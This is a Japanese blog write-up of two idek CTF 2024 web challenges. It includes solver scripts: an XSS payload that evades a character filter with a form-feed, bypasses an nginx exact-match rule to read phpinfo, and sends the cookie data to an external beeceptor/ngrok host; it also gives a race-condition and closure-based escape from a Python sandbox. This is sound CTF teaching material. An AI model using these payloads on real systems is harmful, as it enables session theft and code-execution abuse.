🤷‍♀️

Idek ctf 2024 web writeup

2024/08/22に公開

Idek CTF 2024 は94位でした。最近調子よかったのが嘘のように全然解けなかったけど、久しぶりに学びの多いCTFだったと前向きに捉えたいです。

とりあえず解けた二問のwriteupです。

✅ Hello (135 pts 161/1070 クリア率15%)

クエリパラメータに名前を入力すると、「Hello, <名前>」と表示されるだけのページ。

index.php
<?php


function Enhanced_Trim($inp) {
    $trimmed = array("\r", "\n", "\t", "/", " ");
    return str_replace($trimmed, "", $inp);
}


if(isset($_GET['name']))
{
    $name=substr($_GET['name'],0,23);
    echo "Hello, ".Enhanced_Trim($_GET['name']);
}

?>

URLを報告するとBOTがそのページを訪れるので、そのcookieを盗むのが最終目標だ。

bot.js
const visit = async () => {
        /* snap */

        const page = await ctx.newPage();
        await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
        await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
        await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });
        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};

nameの文字のうち、"\r", "\n", "\t", "/", " "の文字が取り除かれてしまう。その他の文字だけでXSSはできないだろうか?

/の禁止から、閉じタグがなくても良いタグを利用したいので、imgiframeが候補にあがる。<iframe onload="...">としたいが、スペースやその代替になりそうな改行コードも禁止されている。

Hacktricksのチートシートを見ると、他にもスペースの代替として使える文字があることが分かる。改ページ記号\fを利用して、<iframe\fonload="...">とすれば良さそうだ。

これでXSSでdocument.location.assign("https://xxx.ngrok.app?cookie=" + document.cookie)とすれば良さそうに思えるが、 そうはいかない。cookieのhttpOnly属性が有効となっており、javascriptからcookieを参照できないようになっている。

await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });

index.phpの他にphpinfo()を見ることができるinfo.phpが存在する。

info.php
<?php
phpinfo();
?>

ただし、nginxによって、127.0.0.1以外からのアクセスができないようしてあるように思える。

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.php index.html index.htm;
        }

        location = /info.php {
        allow 127.0.0.1;
        deny all;
        }

        location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include fastcgi_params;  
        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
        }

    }
}

Hacktricksによれば、この設定は完全一致しか弾かないので、/info.php/index.phpとすることによって回避可能である。

phpinfo()は、リクエストのcookieの情報が含まれるので、この結果を切り取って自分のサイトに送り返したい。

以上を踏まえて、以下のソルバーで得られたURLでフラグを取得した。

solver.py
import requests

URL = "http://idek-hello.chal.idek.team:1337/"
# URL = "http://localhost:1337/"
EVIL = "https://tchen.ngrok.pizza/"


s = requests.session()
code = "fetch('info.php\\x2findex.php').then(x=>x.text()).then(x=>fetch(decodeURI('http:\\x2f\\x2ftepelchen.free.beeceptor.com?v='+btoa(x.split('Variables')[1].split('Credits')[0]))))"
payload = f"<iframe\fonload=\"{code}\">"
assert len([x for x in ["\r", "\n", "\t", "/", " "] if x in payload]) == 0
r = s.get(URL, params={
    "name": payload
})

print(r.url)

✅ Crator (257 pts 63/1070 クリア率5.9%)

競技プログラミングプラットフォーム的なサイト。pythonコードを提出すると、そのコードに対する入力を入れて実行し、正答したかをチェックしてくれる。

hello inputという問題のテストケースのうちの一つがフラグとなっているが、hidden=Trueとなっている要素は直接は見ることができない。

db.py
with Session(engine) as db:
    flag = 'idek{fake_flag}'
    if flag:
        flag_case = db.scalar(select(ProblemTestCase).filter_by(problem_id="helloinput", hidden=True))
        # flag_case.input = flag
        flag_case.output = flag + "\n"
        db.commit()

pythonコードはsandbox化された上でサーバー上で実行される。/tmp/{submission_id}.in/tmp/{submission_id}.expectedというファイルが生成され、提出したコードの出力を/tmp/{submission_id}.outというファイルで書き込んだ後、それらのファイルを比較するようだ。また、実行はnobodyユーザーが行うので、コードから読み込むことができるファイルは実質/tmp/フォルダ下のみとなっている。

app.py
@app.route('/submit/<problem_id>', methods=['GET', 'POST'])
@login_required
def submit(problem_id):
    with Session(engine) as db:
        """ snap """
        # Prepare code
        shutil.copy('sandbox.py', f'/tmp/sandbox.py')
        with open(f'/tmp/{submission_id}.py', 'w') as f:
            f.write(f'__import__("sandbox").Sandbox("{submission_id}")\n' + code.replace('\r\n', '\n'))
        
        # Run testcases
        skip_remaining_cases = False
        for testcase in testcases:
            # Set testcase staus
            submission_case = SubmissionOutput(submission_id=submission_id, testcase_id=testcase.id, status='Pending')
            db.add(submission_case)
            if skip_remaining_cases:
                submission_case.status = 'Skipped'
                db.commit()
                continue

            if not testcase.hidden:
                submission_case.expected_output = testcase.output
            # Set up input and output files
            with open(f'/tmp/{submission_id}.in', 'w') as f:
                f.write(testcase.input.replace('\r\n', '\n'))
            with open(f'/tmp/{submission_id}.expected', 'w') as f:
                f.write(testcase.output.replace('\r\n', '\n'))

            # Run code
            try:
                proc = subprocess.run(f'sudo -u nobody -g nogroup python3 /tmp/{submission_id}.py < /tmp/{submission_id}.in > /tmp/{submission_id}.out', shell=True, timeout=1)
                if proc.returncode != 0:
                    submission.status = 'Runtime Error'
                    skip_remaining_cases = True
                    submission_case.status = 'Runtime Error'
                else:
                    with open(f"/tmp/{submission_id}.out", "r") as f:
                        print(submission_id, f.read(), flush=True)
                    with open(f"/tmp/{submission_id}.expected", "r") as f:
                        print(submission_id, f.read(), flush=True)
                    diff = subprocess.run(f'diff /tmp/{submission_id}.out /tmp/{submission_id}.expected', shell=True, capture_output=True)
                    x = diff.stdout
                    print(submission_id, x, flush=True)
                    if x:
                        submission.status = 'Wrong Answer'
                        skip_remaining_cases = True
                        submission_case.status = 'Wrong Answer'
                    else:
                        submission_case.status = 'Accepted'
            except subprocess.TimeoutExpired:
                submission.status = 'Time Limit Exceeded'
                skip_remaining_cases = True
                submission_case.status = 'Time Limit Exceeded'
            
            # Cleanup
            with open(f'/tmp/{submission_id}.out', 'r') as f:
                submission_case.actual_output = f.read(1024)
            db.commit()
            __cleanup_test_case(submission_id)

pythonのjail問題として解くわけでは無いのでSandbox化の全容は省略するが、open関数は/tmp/{submission_id}.expectedを読み込めないようになっている。

sandbox.py
def _safe_open(open, submission_id):
    def safe_open(file, mode="r"):
        if mode != "r":
            raise RuntimeError("Nein")
        file = str(file)
        if file.endswith(submission_id + ".expected"):
            raise RuntimeError("Nein")
        return open(file, "r")

    return safe_open

ここで、読み込めないファイルは、現在のsubmission_idのexpectedファイルのみであることに注目する。つまり、並行して他のsubmission_idのexpectedファイルが存在していれば、それを読み込むことはできるのではないだろうか。

一度テストの流れをまとめると(以下submission_idが1想定)、

  • /tmp/1.pyが作成される。
  • 1つ目のテストケースの内容(フラグなし)で/tmp/1.in/tmp/1.expectedが生成される
  • /tmp/1.pyが実行され、/tmp/1.outが生成される。
  • /tmp/1.expected/tmp/1.outの内容が比較され、Wrong AnswerAcceptedTime Limit Exceededがその回答の状態として保存される。
  • /tmp/1.in/tmp/1.expected/tmp/1.outが削除される。
  • 2つ目のテストケースの内容(フラグあり)で/tmp/1.in/tmp/1.expectedが生成される
  • ...以下同様

ここでrace conditionを利用して、submission_id=1をダミー、submission_id=2をファイルを読み込むコードとして実行するとする

  • /tmp/1.pyが作成される。
  • /tmp/2.pyが作成される。
  • 1つ目のテストケースにおいて、submission_id=1が通過する。
  • 1つ目のテストケースにおいて、submission_id=2が通過する。
  • 2つ目のテストケースの内容で/tmp/1.in/tmp/1.expectedが生成される
  • 2つ目のテストケースの内容で/tmp/2.in/tmp/2.expectedが生成される
  • /tmp/1.pyが実行されるが、一定時間終わらない。
  • /tmp/2.pyが実行され、/tmp/1.expectedの内容を読み取る
  • /tmp/1.pyが終了する
  • ...

ここで、実行結果はWrong AnswerAcceptedTime Limit Exceededしかなく、Blind searchしか行えないことに注意する。

また、一定時間終わらないようにする方法だが、import timeはsandbox化により禁止されており、while(True)によるブロックは、サーバーのスペック不足によりサーバーの再起動につながってしまうため行えなかった。ループ毎にFileIOを噛ませることによって、これを回避した。

以下がソルバー

solver.py
from concurrent.futures import ThreadPoolExecutor
import re
import string
import sys
import time
import requests

URL = "http://localhost:1337/"
# URL = "https://crator-ebf96b4883540924.instancer.idek.team/"
s = requests.session()
user = {
    "username": "user",
    "password": "pass"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)

def dummy():
    s.post(URL + "submit/helloinput", data={
        "code": f"inp=input();print(inp);inp[0] != 'W' and [open('sandbox.py', 'r').readline() for i in range(60000)]"
    }, timeout=3)

def test(known, i, c, num):
    time.sleep(0.2)
    r = s.post(URL + "submit/helloinput", data={
        "code": f"inp=input();print(inp if inp[0] == 'W' else '{known + c}' + open('/tmp/{num}.expected').read()[{i+1}:-1])"
    }, timeout=3)
    print(r.status_code)
    status = re.findall('<h3>Status: (.+)</h3>',r.text)[0]
    print([known, i, c, status], flush=True)
    if status == 'Accepted':
        print(known + c)
        return known + c
    else:
        return

r = s.get(URL + "submissions")
re_res = re.findall('<a href="/submission/(\d+)">', r.text)
num = len(re_res) + 1
print(num)

known = 'idek{'
for i in range(len(known), 1000):
    for c in ['_', '}', *string.printable]:
        with ThreadPoolExecutor(max_workers=10) as executor:
            rs = [executor.submit(dummy), executor.submit(test, known, len(known), c, num)]
            executor.shutdown()
            num += 2
            rs[0].result()
            if rs[1].result():
                known += c
                break
        time.sleep(2)
別解: pyjailとして解く

pyjailとして解くこともできた。_safe_openがクロージャーとして定義されているので、元のopen関数はopen.__closure__[0].cell_contentsとして取得できる。これを利用して、一回目の実行で/tmp/flagに書き込み、二回目の一つ目のテスト(実行結果が隠されない)でその内容を読み取った。

solver2.py
import requests

URL = "http://localhost:1337/"
# URL = "https://crator-ebf96b4883540924.instancer.idek.team/"
s = requests.session()
user = {
    "username": "user",
    "password": "pass"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)


code = """
inp = input()
if inp[0] == "W":
    print(inp);
else: 
    id = open.__closure__[1].cell_contents
    newopen = open.__closure__[0].cell_contents
    exp = newopen(f"/tmp/{id}.expected", "r").read()
    newopen(f"/tmp/flag", "w+").write(exp)
"""
r = s.post(URL + "submit/helloinput", data={
    "code": code
}, timeout=3)

code = """
newopen = open.__closure__[0].cell_contents
print(newopen(f"/tmp/flag", "r").read())
"""
r = s.post(URL + "submit/helloinput", data={
    "code": code
}, timeout=3)

Discussion